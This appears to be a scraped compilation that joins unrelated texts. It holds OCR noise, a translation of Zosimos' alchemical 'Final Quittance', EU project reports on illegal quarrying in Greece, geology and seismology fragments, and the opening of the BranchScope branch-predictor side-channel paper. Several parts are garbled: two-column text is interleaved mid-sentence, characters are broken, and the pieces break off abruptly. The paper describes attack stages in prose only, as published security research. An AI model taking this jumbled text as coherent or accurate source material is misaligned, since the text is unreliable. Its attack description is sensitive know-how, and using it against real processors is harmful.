t t a a.ì I - I \ t ; a ^ ì I - a ta iI Ò I \ 1 a ì 2 'l I I a . )- t Òt I a l\ ) I a I , î I ¡ l\ a a { a ô .ß a \ à ô a ôa a rl; ) A HËB All IEð HuRo NI Fö NI (J ñp os ¡f¡t¡ dtrr a ç $ iEt¡ v a s 0 @¡?r!l;lü!FEr*t¡?rd ¡llll¡&tlt o a v Ò a¡,. EH ËH EH åñ E EI EËE ä E H E Bfl É 6 ¡Islg IE ä Eõ¡l ¡EI/ B ¡â¡ ET EtEt I¡!¿EI E Ë u H Ëu ¿¡9!l øf- ffitt ln EEgI¡I'ffiõc tg E ffi d E H H ã C6 E E äE¡ ä E E il H EH il 5I L/ 1\ Us lrl tî\ v ;ì d ú,,!' ¿) r) 1l I ra a> I SR_Tuned City. Zosimos. The Final Quittance. Zosime/Zosimos. Compte Final. The Final Quittance. [English translation based on the Greek and French text of Festugiere by Jack Lindsay, The origins of alchemy in Graeco-Roman Egypt (1970)] 1- All the kingdom of Egypt depends on two arts: that of the propitious ores and that of natural ones [t​ echnai ton te kairikon kai ton physikon psammon ​]. (Stolzenberg) [...] 2- Some persons then reproach Demokritos and the Ancients for not having mentioned these two arts, but only those that are termed noble. This reproach is futile. They could not do it, these men who were the friends of the Kings of Egypt and who gloried in holding the first rank in the class of prophets. How could they have openly, against royal orders, set out in public their knowledge and give others the sovran power of wealth? Even if they could have done it, they would not; for they were careful of their secrets. It was possible only for Jews, secretly, to operate, write, and publish these things. Indeed we find that Theophilos, son of Theogenes, has described all the country's goldmines and we have Maria's treatise on Furnaces as well as other writings by Jews. 3- But neither Jews nor Greeks have ever made public timely tinctures. These tinctures, indeed, the Jews deposit in the [treasuries] where they put their riches, giving them to divine images to guard. As for the treatment of minerals, which differs much from timely tinctures, they do not show themselves at all as jealous - because this art cannot but show itself outwardly and whoever tries to practice it [cannot] remain without punishment. If in effect as man is caught digging a mine by the inspectors of State Manufactures on account of royal revenues ... or because furnaces cannot be hidden away, while timely tinctures are carried on quite out of view. That's why you don't see that any of the ancients are published secretly or openly, anything whatever on the subject. In the whole series of the ancients, I have found only Demokritos making allusion to it ... 4- It is clear that formerly, in the time of Hermes, these tinctures were called natural, as they had been described in terms of the general title of the book called B​ ook of Natural Tinctures, dedicated to Isidoros​. But when they became the object of the jealousy of the daimons of the flesh, they became timely tinctures and took over that name. Still, reproaches are made to the ancients, and above all to Hermes, for not having published them, secretly or openly, and for making no allusion to them. 5- Only Demokritos has set them out in his work and mentioned them. And as for them [the ancient Egyptians], they engraved them on their stelai in the darkness and depths of the temples in symbolic characters - both the tinctures and the chorography of Egypt - so that, even though one carried boldness to the point of penetrating into those dark depths, if one had neglected to learn the key, one could not decipher the characters for all one's boldness and troubles. The Jews, then, imitating the Egyptians, deposited the opportune tinctures in their subterranean chambers, together with their formulas of initiation; and they set down this warning in their testaments: "If you find my treasures, leave the gold to those who desire their own ruin; but if you find out how to understand the characters, you will gather all the wealth again in a short while. On the other hand, if you take only the wealth, you will go to your ruin because of the jealousy of kings, but not only of kings, but of all men. 6- There are then two kinds of timely tinctures. One of them, that of stuffs(fabrics, cloths?), the daimons who watch over every place have handed over to their own priests. That is why, besides, they are called ​ timely,​ because they operate according to the timely moments through the will of the supposed daimons; and when the daemons cease from giving their assent [they fail to operate] ... The other kind of timely tinctures, that of genuine and natural tinctures, were set down by Hermes on the ​stelai ​: "Melt down the sole thing which may be greenish yellow, red, sun-colour, pale green, yellow of ochre, green verging on black, and the rest." As for the earths themselves, Hermes has called them with a secret name, "sands", and has revealed the kinds of colours. These tinctures act naturally, but they are grudged by the terrestrial d​ aimons​. However, if anyone, after being initiated, drives the ​ daimons ​away, he will obtain the sought-for result. 7- Thus then the watchful ​daimons​, once repelled by the powerful men of old, resolved to take control of the Natural Tinctures in our stead, so as to be no longer chased off by men, but to receive their prayers, to be invoked by them, and to be regularly nourished by their sacrifices. That is then what they did. They hid all the the natural procedures, which acted through themselves, not only because they were jealous of men, but also because they were concerned with their own subsistence, so as not to be whipped, chased out, and killed and with hunger through receiving no more sacrifices. This is what they did. They hid the natural tincture and introduced in its place their own non-natural tincture, and they handed these procedures on to their priests, and, if the village-folk neglected the sacrifices, they prevented them from succeeding even in the non-natural tincture. All those then who learned the so called doctrine of the ​daimons ​ of the time fabricated waters, and, by reason of custom, law, and fear, their sacrifices multiplied. However, the ​daimons​ did not fulfil even the false promises that they had made. But when there had resulted a complete change-round of the ​ klimata a​ nd the region was devastated by war and the human race disappeared from it. When the temples of​ daimons ​were nothing but a desert and their sacrifices were neglected, they began to flatter the surviving men and persuaded them by dream, on account of their falsity, and by many presages, to adhere to the sacrifices. And as they renewed their false promises of non-natural tinctures, all the unhappy men, devoted to pleasure and ignorant, were filled with rejoicing. They want to do all this to you too, woman, through the intervention of their pseudo-prophet. These local ​ daimons ​flatter you; for they hungry not only for sacrifices, but also for your soul. 8- Then do not let yourself be drawn this way and that, like a woman, as I have already told you in my book ​According to Energy.​ Do not be agitated off in all directions in the quest of God; but remain seated at your hearth and God will come to you - he who is everywhere, and who is not limited in the lowest space like the ​daimons.​ In this calm repose of boy, lull to repose also your passions, greed, pleasure, anger,chagrin, and the dozen lots [ ​moirai] ​ of death. And so, correcting yourself, call the divinity to you and it will truly come - it being what is everywhere and nowhere. Then, without even being invited, offer sacrifices to the ​daimons, ​ not those who profit from them, not whose who nourish and comfort them but those who chase them off and make them disappear, those whose formula Mambres gave to Solomon King of Jerusalem, and those who that Solomon himself has written out of his own wisdom. By acting in this way, you will gain the genuine timely and natural tinctures. Do all this until you attain perfection of soul. And when you realize that you have been made perfect, then, having gained the natural tinctures, spit upon matter, find your refuge with Poimandres, and, having received the baptism of the ​ krater​, hurry on to rejoin your own people. 9- I now come however to the task that Your Imperfection sets me. But I must first expatiate a little more and consider afresh the object of our inquiry. I must not show myself inferior and the the theme is one that is easy to get out of focus. [...] Listen what he says soon after: The two eggs having been drunk down, are only a simple thing, which has become diverse, with one part humid and cold, another part dry and cold, and these two make up only a single work. 10- But now I come to the assigned task. [...] 11- These tinctures have then the faculty of corrupting a large quantity as well as a small one, in the sense that one obtains them as well in glass furnaces as in large or little crucibles, and in various apparatus by means of fires and through the force of fires. Experience is what will prove it together with uprightness in all matters of the soul. As for the demonstration of the fires and all the things in question, you have them in ​ The Letter Omega.​ It is from this point then that I am going to begin, purple-adorned woman. GEO-CRADLE: Fostering regional cooperation and roadmap for GEO and Funded under H2020 - Climate action, Copernicus implementation in environment, resource efficiency and raw materials North Africa, Middle East and ACTIVITY: Developing Comprehensive and Balkans Sustained Global Environmental Observation and Information Systems CALL IDENTIFIER: H2020 SC5-18b-2015 Integrating North African, Middle East and Balkan Earth Observation capacities in http://geocradle.eu/ GEOSS Project GA number: 690133 Total Budget: 2,910,800.00 € Access to Raw Materials Pilot Eleni Christia ΝΟA Greece pilot site Monitoring of Quarrying Activities in Greece The needs: There are three different types of activity that the Ministry of Environment - Inspectorate needs to survey: (a) Exploitation of ‘quarry minerals’ in quarry sites that own valid permits; (b) Potential illegal activities that are mostly taking place in old/abandoned/without an active permit quarries; and (c) Occasional exploitation activity from unpermitted sites. The problem: In spite of the existing legislative framework for Quarrying, Greece is facing problems, particularly with illegal aggregates’ quarrying activities. This issue was highlighted by UEPG (the European Aggregates Association) particularly for countries in the Balkan region, during the implementation of two EU co-funded projects, SARMa and SNAP-SEE (in which IGME was a core partner). Illegal quarrying is related to severe economic, social and environmental impacts affecting not only the restricted area where such activities take place, but also wider areas. The Aim: Mitigation of illegal quarrying activities by developing a Monitoring System (Tool) with the use of EO data. This Tool may be used to track any detectable potential changes of surface morphology, land use, etc. related with such activities. http://geocradle.eu 14 F i g . 350 A. - S y n t h è s e d e s données s t r a t i g r a p h i q u e s c o n c e r n a n t l e somet d e s C a l c a i r e s d e Drimos, l e s P é l i t e s d e K a s t e l i , les R a d i o l a r i t e s , l e P r e m i e r F l y s c h e t l a b a s e d e s C a l c a i r e s e n P l a q u e t - t e s du Pinde-Olonos e n Pé loponnèse m é r i d i o n a l . ( D V a p r è s T h i é b a u l t et col l . , 1981 - m o d i f i é ) . F i g . 350 0 . - C a r t e d e l o c a l i s a t i o n d e s p r o f i l s d e l a f i g u r e 350 A e t d e s coupes d e s f i g u r e s 327, 331, : 339. \ ..1 -t_) _. F i q . 350 C.- R 6 p a r t i t i o n d e s séries du Pinde-Olonos s a n s P r e m i e r F l y s c h (Domaine D) e t a v e c P r e m i e r F l y s c h (Domaine E) e n Messénie o c c i d e n t a l e ( P é l o p o n n è s e m é r i d i o n a l ) . 1. Néogène d i s c o r d a n t . - 2. Pinde-Olonos a v e c P r e m i e r F l y s c h . - 3 . Pinde-Olonos s a n s p r e m i e r F1ysch.- 4 . G a v r o v o - T r i p o l i t z a i n d i f f é r e n c ié . Plate 6b ,1' I i_ - - -- - a b I ft .3' I I I I C d I e f '. !"#$!%&'( Fig. +. Schematic drawing of a Ewing-Sekiya type duplex pendulum seismometer (Kikuchi, +3*.). Fig. ,. Duplex pendulum seismometers (front left and far right) installed in the former Seismological Institute of the Tokyo Imperial University (the University of Tokyo) at Hongo. ) 6 ) !"#$%&'()*+,-./0+,12 3 27 3 ! How!to!Achieve! Aggregates!Resource!Efficiency! in!Local!Communities! ! Manual!! ! Apply!!!!!!!!!!!!!! Acquire!!!!!!!!!!!! Best!Available! social!license!!!!!!! Practices!!!!!!!!!!! for!Quarrying! for!Quarrying!! Facilitate!access!!!! Improve!overall! Preserve!!!!!!!!!!!to!resources!! environmental! natural!resources!!! performance! Prevent!!!!!!!!!!! Promote!Recycling! illegal!Quarrying! SEE/A/151/2.4/X further! classification! in!order! to!produce! the!necessary! size! fractions! for! the! com" mercial!aggregate!products.! Fig.!4:!The!Araxos!open!pit!limestone!quarry!in!Greece! [Source:!Preparatory!site!report!of!Araxos!quarry;!Activity!3.1.!http://www.sarmaproject.eu/]! ! Fig.!5:!Mobile!crushing!and!sieving!plant!unit,!Araxos!quarry! [Source:!Preparatory!site!report!of!Araxos!quarry;!Activity!3.1.!http://www.sarmaproject.eu/]! 14!|!P a g e ! ! For!example,!the!tailings!stemming!from!the!Chromites!Processing!Plant!of!Bulqiza!in! Albania! (200,000! tonnes/year)! are! currently! recycled! and! treated! in! the! dressing! plant!as!mining!waste.!The!recycled!products!comprise!a!marketable!chromites!con" centrate! (38"42%! Cr2O3)! suitable! for! the! chemical! industry! and!metallurgy,! and! a! sand!product!(R1)!suitable!for!concrete!production.![Source:!Study!report!of!SARMa!case! study Bulqiza!Albania!(3.3!Recycling)]! Also,! in! the!magnesite!mine! of! Gerakini! in! Greece! (Fig.! 9),! by"products! from! the! sorter!unit!plant!of!the!mill!and!extractive!waste!from!the!development!of!the!mine! are!processed! for! the!production!of!R1!aggregates! (150,000! tonnes/year),! suitable! mainly!for!road!construction!(Fig.10).!! ! ! Fig.!9:!General!view!of!waste!material!stockpiles!at!the!Gerakini!magnesite!mine!in!Greece! [Source:!Baseline!study!report!for!recycling.!Case!study:!Gerakini.!http://www.sarmaproject.eu/]! ! Fig.!10:!Aggregates!(R1)!produced!from!treatment!of!mining!waste!from!the!Gerakini!mine! P a g e |!19! © 1888 Nature Publishing Group © 1888 Nature Publishing Group SYNTHESIS REPORT OF BASELINE STUDY REPORTS (BSR) Activity 3.2 - Illegal Quarrying Final Version May 2011 3.2 CASE 2: LAKKA QUARRY (Greece) 3.2.1 Location Lakka quarry is located in the Prefecture of Pella of the Region of Central Macedonia in northern Greece. It belongs to the municipality of Kyrros (Figure 4). Lakka is an illegally quarried site for aggregates abandoned a long time ago. They consist of sub-rounded pebbles ranging in size from about 1 to 20 cm and more rarely to 50 cm with composition vary from calcitic to dolomitic (Figure 5). In cases like this the remediation and restoration is and will be undertaken by the local authorities. No remediation has taken place so far for various reasons. One of the main reasons involved is the lack of available funds. Figure 4 Location of Lakka quarry, municipality of Kyrros The case of Lakka is an example of how illegal activities could be greatly encouraged by the absence of a legally designated quarrying area to cover the local demand in aggregates. In order to reduce the environmental impact from illegal operations the local authorities (Prefecture of Pella) are planning to perform a restoration work which is estimated to result in around 5.000.000 tons of material which could find application as aggregate. The estimation 17 of this resource potential though needs to be confirmed with further work which will involve data collection as to the ownership status of the surrounding land, topographic surveys, mapping etc. Figure 5 Lakka’s open pits A, B, C, D 18 Remediation and restoration of contemporary and legal quarry operations in Greece is ensured by specific terms set out in the approved Environmental Impact Assessment Study that the quarry operator is by law obliged to submit in order to be granted the exploitation permit. The restoration plan forms an integral part of the quarry permit and its application is the responsibility of the legal quarry operator. Illegal quarrying does not provide any environmental restoration. Inspections and audits are undertaken, financial guarantees are required and sanctions imposed where necessary. The quarry operator is obliged to restore the quarry site through the gradual implementation of an integrated and progressive restoration plan carried out through the lifetime of the quarry operation. On the other hand, restoration of public abandoned quarries is the responsibility of the relevant regional authorities where the quarry site is located. The situation is more complicated in cases of privately owned abandoned quarries where the consent of the owner is needed in order the site to be restored. The Prefecture of Pella is the competent authority responsible for the restoration of the Lakka quarry site. It is expected that within SARMa project new ideas and/or better solutions will be developed related to the sustainable environmental management of such quarry sites. The outcomes of SARMa and the experience shared with other partners facing similar problems is expected to help the Prefecture of Pella to elaborate alternative ideas and most feasible solutions for the restoration and rehabilitation of the Lakka site. 3.2.2 Determine impediments to best practice e.g. lack of knowledge, regulatory blocks Identification of medium- long- term market needs for aggregates on local/regional level is of ultimate importance in order to take at an early stage the necessary actions to safeguard/secure the adequateness and appropriateness of the raw materials. Deficient or inconsistent controlling systems and time consuming permitting procedures may allow illegal quarrying activities to carry on thus creating an artificial distortion of competition, enhancing environmental impact and bringing the legally operating aggregates industry into disrepute. However the legal framework is extremely strict in cases of illegal quarrying of aggregates, since “quarrying of aggregates” without permit constitutes criminal breach and the liable is punished with confine of at least 3 months, and administrative penalties and fine from 16.000 - 160.000 euro, imposed by the Mining Inspector. Lack of long-term spatial & land use planning that takes into consideration mineral resources results in conflicted interests between aggregates extraction activities and other land uses. Restoration of abandoned quarries is not practiced on a regular basis from the competent authorities due mainly to lack of available funds. 3.2.3 Operating system for monitoring of illegal quarrying There is no operating system for remote monitoring of illegal quarrying. According to the Greek legislative framework (articles 15-16 of Law 1428/1984as modified by article 13 and 24 of Law 2115/1993, article 8 of law 2702/1999 and Ministerial Decision Δ7/Α/Φ1/21801/2001), the exploitation of aggregate quarries runs under the 19 auspices of the Ministry of Environment, Climate Change and Energy and the Inspectorate of Mining is the relevant responsible authority, on national level, to inspect, control, place charges and impose any additional measures needed, through on site inspection. On justified cases of serious violation of the relevant legislative framework, the Inspectorate of Mining may impose constraint measures and the temporary cease or closure of the quarry operations. The inspections, on behalf of the Mining Inspectors, on the licensed quarry operations run normally once a year. Shortage in relevant personnel though, to carry out inspection on a regular basis, drives eventually to a deficient monitoring of illegal operations. In parallel, systematic inspections concerning compliance on environmental issues are carried out by another recently developed national authority of the Ministry of Environment, Climate Change and Energy, the Special Office of Environmental Inspectors. The Environmental Inspector may perform on site inspections on all public or private projects or activities (extraction activities are included), that falls under the regulatory framework for the protection of the environment and may carry out tests and measurements and collect any useful in their opinion data. Their inspections are carried out regardless of any other authority competent to conduct similar audits. The regulatory framework for environmental inspections is the relevant law and procedures laid down in the Recommendation 2001/331/EC of the Council and European Parliament which adopted the minimum requirements for conducting environmental inspections. It has to be underlined here that the aggregate resources from Lakka quarry site were used mainly for infrastructure works serving the needs of the local and regional communities. The illegal quarrying activities were carried out for more than 4 decades obviously under the tolerance of the local communities and competent authorities due to the absence of other nearby authorized aggregate quarries in operation at that time The general plan for the restoration work will involve landscaping of slopes which in some instances are very steep, almost vertical and as high as 18m, posing safety risks to the people. The landscaping of slopes is also imposed by the regulatory framework. It is anticipated that no planting of trees will be needed since the surrounding area is characterized by low herbaceous vegetation. 20 Proposal of pilot studies for T 4.3 „Access to Raw Materials” Part II Marek Graniczny (EGS – PGI) Zbigniew Kowalski, Maria Przyłucka (EGS – PGI) Eleftheria Poyiadji, Aggelatou Vassiliki, Chalkiopoulou Fotini, Hatzilazaridou Kiki, Stefouli Marianthi (EGS-IGME-Greece) Christodoulos Hadjigeorgiou (EGS-Cyprus Geological Survey) Octavian Coltoi (EGS-Romanian Geological Survey) Rabat, 17th Oct 2016 Greece Pilot 1 Monitoring of Illegal Quarrying In spite of an existing legislative framework for Quarrying, some SEE countries are facing problems with illegal quarrying activities. This issue is related to severe economic, social and environmental impacts affecting not only the restricted area where such activities take place, but also wider areas. [Source: Synthesis report of baseline study reports; Activity 3.2 (Illegal quarrying). http://www.sarmaproject.eu/] Stakeholder Consultation in Greece The Institute of Geology and Mineral Exploration (IGME) organized a stakeholder consultation event titled: “Sustainable Planning of Aggregates in Greece” within the framework of the SNAP-SEE project in collaboration with the Technical University of Crete. The main purpose of the consultation event was the open collaboration between the stakeholders which are involved in the planning of aggregates in Greece. 2nd Networking Event, 17/10/16, Rabat Greece Pilot 1 Consultation through GEO-CRADLE Public Authorities are interested strongly to control and diminish Illegal Quarrying (IQ). The Ministry of Environment and Energy thinks that this needs to be further regulated and clearly stated. Weaknesses of the existing framework in combination with potential weakness for control “facilitates” illegal activities. Efficient and consistent monitoring processes and tools will allow better management of quarrying and will mitigate illegal quarrying activities. Such mobile crushing units are usually Production of crushed rock operating for “illegal quarrying” aggregates 2nd Networking Event, 17/10/16, Rabat Greece Pilot 1 Monitoring of Illegal Quarrying Illegal Quarrying is related almost exclusively with: 1. Quarrying of raw materials for the production of primary crushed rock aggregates; 2. Quarrying of river sands for the production of other primary aggregates; 3. Quarrying of clays for the production of construction items (tiles, bricks); 4. “Illegal activities” related to extractive waste from other activities – abandoned quarries (i.e. marble extraction) for the production of aggregates. Marble extractive waste - N. Greece Marble extractive waste – N. Greece 2nd Networking Event, 17/10/16, Rabat Greece Pilot 1 Monitoring of Illegal Quarrying Illegal activities, that should be considered as different levels of approach, concern: 1. Illegal activities of a legal quarry (e.g. Production of crushed rock aggregates disposing off extractive waste in forbidden areas). This may concern all types of quarries and mines. In Greece, it’s a major issue for marble quarries, due to low recovery percentages (sometimes, as low as 5%); 2. Illegal operation of a quarry, which owns a license that has expired. Consequently, the scale is noticeable; 3. Completely illegal activity out of quarries, where the quantities may be minor and the scale is usually small, difficult to monitor. 2nd Networking Event, 17/10/16, Rabat Greece Pilot 1 Objectives Future use of Earth Observation data & techniques for mapping and monitoring “Quarries”: Selection of suitable sites for quarrying; Monitoring reforestation; Support land Use planning; Monitoring Land cover; Monitoring illegal quarrying; assess “waste”; assess possible instabilities; Sentinel 2: Velvendos Quarrying Areas Date: 23/7/2016 support restoration actions. Area: 12.7 km2 2nd Networking Event, 17/10/16, Rabat [Πληκτρολογήστε κείμενο] Figure 7. Finding the epicenter of the earthquake using the “triangulation” method. The point where the three circles intersect is the approximate epicenter of the earthquake. STEP 4 At this stage students should be prompted to visit http://www.gein.noa.gr/el/teleutaia-anakoinothenta and check the accuracy of their calculation on the epicenter distance and the magnitude of the earthquake. In case of deviations they should mention the possible reasons behind experimental errors. Finally, students should participate in a teleconference meeting bringing up their results on their calculations, the conclusions drawn and the experience gained. 18 (A) (B) (D) (C) ▲ Figure 1. (A) Rotation of the monument to George Inglis (erected in 1850 at Chatak, India) as observed by Oldham (1899) after the 1897 Great Shillong earthquake. (B) Coordinate system for translational velocity. (C) Coordinate system for rotational rate. (D) rotated monument. See text for explanation. tial for nurturing this new field of inquiry. The panel reports translation motions and and proposed future directions and research plans are described also the torsion movements from earthquakes. Although these et al. instruments operated for several years, no rotational motion contains all presentation files and supporting materials. could be recorded because of low transducer sensitivity. Mallet ROTATIONAL EFFECTS DUE TO EARTHQUAKES are due to a sequence of different seismic phases emerging at from the 1906 San Francisco earthquake and pointed out that caused by soil-structure interaction have been observed for the large observed angles of rotation could not be due to propa- centuries (e.g., rotated chimneys, monuments, and tombstones gation of the rotational components of the seismic waves in the relative to their supports). Figure 1(A) shows the rotation of the classical elasticity theory. A modern analysis of such rotational effects is presented in Todorovska and Trifunac (1990). earthquake. This monument had the form of an obelisk rising ROTATIONS CAUSED BY RESPONSE OF over 60 feet high from a base 12 feet on each side. During the STRUCTURES Man-made structures reach several tens to several hundreds of to the east. The remnant is about 20 feet high and is rotated meters above the ground. Supported at their base, with their center of gravity near mid-height, structures undergo rocking observed rotations are very small, the units are often given in milli-radians (mrad), or micro-radians (μrad). compliance, the soil-structure interaction converts the incident A few early authors proposed rotational waves or at least wave energy into rotational motions of the foundation and the surrounding soil. In this way a building acts as a source of rota- the rotational motion components at this early stage of the tional waves. In densely populated metropolitan areas where separation of adjacent buildings is small, building-soil-building interactions occur. In such instances, and where long bridges (2006) summarized two models of an electrical seismograph have multiple supports resting on soil, detailed two- and three- - 480 Seismological Research Letters Volume 80, Number 3 May/June 2009 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA BranchScope: A New Side-Channel Attack on Directional Branch Predictor Dmitry Evtyushkin Ryan Riley College of William and Mary Carnegie Mellon University in Qatar devtyushkin@wm.edu rileyrd@cmu.edu Nael Abu-Ghazaleh Dmitry Ponomarev University of California Riverside Binghamton University naelag@ucr.edu dponomar@binghamton.edu Abstract Support for Programming Languages and Operating Systems (AS- We present BranchScope — a new side-channel attack where PLOS’18). ACM, New York, NY, USA, 15 pages. h￿ps://doi.org/10. the attacker infers the direction of an arbitrary conditional 1145/3173162.3173204 branch instruction in a victim program by manipulating the shared directional branch predictor. The directional compo- nent of the branch predictor stores the prediction on a given 1 Introduction branch (taken or not-taken) and is a di￿erent component from the branch target bu￿er (BTB) attacked by previous Modern microprocessors rely on branch prediction units work. is the ￿rst ￿ne-grained attack on the di- (BPUs) to sustain uninterrupted instruction delivery to theBranchScope rectional branch predictor, expanding our understanding of execution pipeline across conditional branches. When multi- the side channel vulnerability of the branch prediction unit. ple processes execute on the same physical core, they share Our attack targets complex hybrid branch predictors with a single BPU. While attractive from utilization and complex- unknown organization. We demonstrate how an attacker ity considerations, the sharing potentially opens the door can force these predictors to switch to a simple 1-level mode an attacker to manipulate the shared BPU state, create a to simplify the direction recovery. We carry out side-channel, and derive a direction or target of a branchBranchScope on several recent Intel CPUs and also demonstrate the attack instruction executed by a victim process. Such leakage can against an SGX enclave. compromise sensitive data. For example, when a branch in-struction is conditioned on a bit of a secret key, the key CCS Concepts • Security and privacy→ Side-channel bits are leaked directly. This occurs in implementations of analysis and countermeasures; Hardware reverse en- exponentiation algorithms [13, 32] and other key mathemat- gineering; ical operations [3] of modern cryptographic schemes. The attacker may also change the predictor state, changing its Keywords Branch Predictor, Attack, Side-channel, SGX, behavior in the victim. Microarchitecture Security, Timing Attacks, Performance On modern microprocessors, the BPU is composed of two Counters structures: the branch target bu￿er (BTB) and the directional predictor. Previous work has speci￿cally targeted the BTB to ACM Reference Format: create side channels [1, 3, 21, 35]. In the BTB, the target of a Dmitry Evtyushkin, Ryan Riley, Nael Abu-Ghazaleh, and Dmitry conditional branch is updated only when the branch is taken; Ponomarev. 2018. BranchScope: A New Side-Channel Attack on Directional Branch Predictor. In Proceedings of 2018 Architectural this can be exploited to detect whether or not a particular victim branch is taken. The ￿rst attack in this area proposed several BTB-based attacks that are based on ￿lling the BTB Permission to make digital or hard copies of all or part of this work for by the attacker, causing the eviction of entries belonging to personal or classroom use is granted without fee provided that copies the victim. By observing the timing of future accesses [3], are not made or distributed for pro￿t or commercial advantage and that copies bear this notice and the full citation on the ￿rst page. Copyrights the attacker can infer new branches executed by the victim. for components of this work owned by others than the author(s) must We describe those attacks and their limitations in the related be honored. Abstracting with credit is permitted. To copy otherwise, or work section. In other work [21], we recently proposed a republish, to post on servers or to redistribute to lists, requires prior speci￿c side-channel attack on the BTB that creates BTB collisions permission and/or a fee. Request permissions from permissions@acm.org. between the victim and the attacker processes, thus allowing ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA the attacker to discover the location of a particular victim’s © 2018 Copyright held by the owner/author(s). Publication rights licensed to the Association for Computing Machinery. branch instruction in the address space, bypassing address ACM ISBN ISBN 978-1-4503-4911-6/18/03. . . $15.00 space layout randomization. Lee et al. [35] built on that work h￿ps://doi.org/10.1145/3173162.3173204 by exploiting the BTB collisions to also discover the direction 693 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA of the victim’s branch instructions. They demonstrated the community considers defenses against these attacks, the vul- attack in kernel space against Intel SGX enclaves. nerability outlined in BranchScope must also be addressed. In this paper, we propose a new micro-architectural side- In summary, the main contributions and the key results channel attack, which we call BranchScope, that targets the of this paper are: directional predictor as the source of information leakage. To the best of our knowledge, BranchScope is the ￿rst at- • We propose BranchScope — the ￿rst side-channel at- tack exploiting the directional predictor structure, showing tack explicitly targeted at extracting sensitive infor- that BPUs can be vulnerable even if the BTB is protected. mation through the directional branch predictor (as BranchScopeworks by forcing collisions between the attacker opposed to existing work targeting the Branch Target and selected victim branches and exploiting these collisions Bu￿er). BranchScope is not a￿ected by defenses against to infer information about the victim branch. This attack BTB-based attacks. has new challenges not present in a BTB attack. In order to • We demonstrate that BranchScope works reliably and achieve collisions, we must overcome the unpredictability of e￿ciently from user space across three generations of the complex hybrid prediction mechanisms used in modern Intel processors in the presence of system noise, with CPUs. BranchScope overcomes this by generating branch an error rate of less than 1%. patterns that force the branch predictor to select the local • We show that BranchScope can be naturally extended one-level prediction even when complex multi-level predic- to attack SGX enclaves with even lower error rates tors are present in the processor. Second, after collisions than in traditional systems. are reliably created, the victim’s branch direction can be ro- • We describe both hardware and software countermea- bustly disclosed by an attacker executing a pair of branches sures to mitigate BranchScope, providing branch pre- with prede￿ned outcomes, measuring the prediction accu- diction units that are secure to side channel attacks. racy of these branches, and correlating this information to the predictor state and thus to the direction of the victim’s branch. 2 Background: Branch Predictor Unit We demonstrate BranchScope on three recent Intel x86_64 processors — Sandy Bridge, Haswell and Skylake. To perform Modern branch predictors [15, 31, 41, 43, 50] are typically BranchScope, the attacker does not need to reverse-engineer implemented as a composition of a simple one-level bimodal the details of the branch predictor operation, and only needs predictor indexed directly by the program counter (we refer to perform simple manipulations with the prediction state to it as the 1-level predictor [49]), and a gshare-style 2-level machines from the user space. We also demonstrate how predictor [57]. The gshare-like predictor exploits the obser- BranchScope can be extended to attack SGX enclaves even if vation that the branch outcome depends on the results of recently-proposed protections are implemented. We show recent branches, and not only on the address of the branch. A that BranchScope can be performed across hyperthreaded selector table indexed by the branch address identi￿es which cores, advancing previously demonstrated BTB-based attacks predictor is likely to perform better for a particular branch which leaked information only between processes scheduled based on the previous behavior of the predictors. This design on the same virtual core [21]. This capability relaxes the combines the best features of both component predictors. attacker’s process scheduling constraints, allowing a more Figure 1 illustrates one possible design of such a hybrid ￿exible attack. Finally, we describe countermeasures to pre- predictor. The 1-level predictor stores its history in the form vent the BranchScope attack in future systems. of a 2-bit saturating counter in a pattern history table (PHT). The recent Meltdown [36] and Spectre [34] attacks demon- The gshare predictor has a more complex indexing scheme strated the vulnerability of speculative execution to side- that combines the program counter with the global history channel attacks, directly impacting the security of current register (GHR). The GHR records the outcomes of the last sev- systems and leading to data ex￿ltration. Branch predictors eral branches executed by the program. The branch history are critical to these attacks since the attacker must mistrain, information is also stored in the PHT using a 2-bit saturating or even directly pollute (known as a Branch poisoning at- counter; the only di￿erence between the two predictors is tack) the branch predictor to force the predictor to guess the how the PHT is indexed. address of the victim selected vulnerable code. The branch If the branch is predicted to be taken, the target address poisoning attack presented in Spectre is based on the same of the branch is obtained from a structure called the Branch basic principle as BranchScope — exploiting collisions be- Target Bu￿er (BTB), which is a simple direct mapped cache tween di￿erent branch instructions in the branch predictor of addresses that stores the last target address of a branch data structures. In this context, we believe that BranchScope that maps to each BTB entry. Published side channel attacks can provide additional tools for attackers to use specula- (described in Section 11) on the BPU have all targeted the tion to perform more advanced and ￿exible attacks. As the BTB. In contrast, BranchScope targets the direction predictionunit of the BPU. 694 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA PHT Branch address 4 BranchScope Attack Overview BTB Selector Table N N T T Target 1 In this section, we present the an overview of BranchScope.N N T T Direction Prediction We start with background information and a high-level overview Target 2 N N T T Target 3 of the attack, and then move to the details. N N T T Target 4 GHR In general, the attack proceeds as follows:T N N T T N N T N Target Prediction • Stage 1: Prime the PHT entry. In this stage, the attacker process primes a targeted PHT entry into a speci￿ed Figure 1. A Combined Branch Predictor state. This priming is accomplished by executing a carefully-selected randomized block of branch instruc- tions. This block is generated one-time, a-priori by the attacker. • Stage 2: Victim execution. Next, the attacker initiates 3 Threat Model and Attacker Capabilities the execution of a branch it intends to monitor within Our attack assumes the existence of a victim and a spy pro- the victim process and waits until the PHT state is grams. The victim program contains secret information that changed by the victim’s activity. the spy program is trying to infer, without having the au- • Stage 3: Probe the PHT entry. Finally, the attacker ex- thority to access this information directly. The threat model ecutes more branch instructions targeting the same makes three primary assumptions: PHT entry as the victim while timing them to observetheir prediction outcomes. The attacker correlates the • Co-residency on the same physical core: We assume prediction outcomes with the state of the PHT to iden- that the victim and the spy programs are running on tify the direction of the victim’s branch. the same physical core since the BPU is shared at the The attacker must be able to cause collisions between virtual core level. Prior work [21] has shown possible its branches and the branches of the victim process in the techniques for forcing such co-residency. PHT. These collisions, given knowledge of the operation of • Victim slowdown: To perform a high-resolution Branch- the predictor, allow the attacker to uncover the direction of Scope attack, where we are able to detect the behavior the victim’s branch. Speci￿cally, by observing the impact of an individual execution of a branch, the victim pro- of that branch (executed in stage 2 above) on the predic- cess needs to be slowed down. This slowdown is a tion accuracy of an attacker’s probing branches executed common requirement of high-resolution side-channel in stage 3. If the PHT indexing is strictly determined by the attacks [26, 33]. Slowing down the victim is an orthog- instruction address (as in the 1-level predictor), creating col- onal issue that can be accomplished by a variety of lisions in the PHT between the branches of two processes is 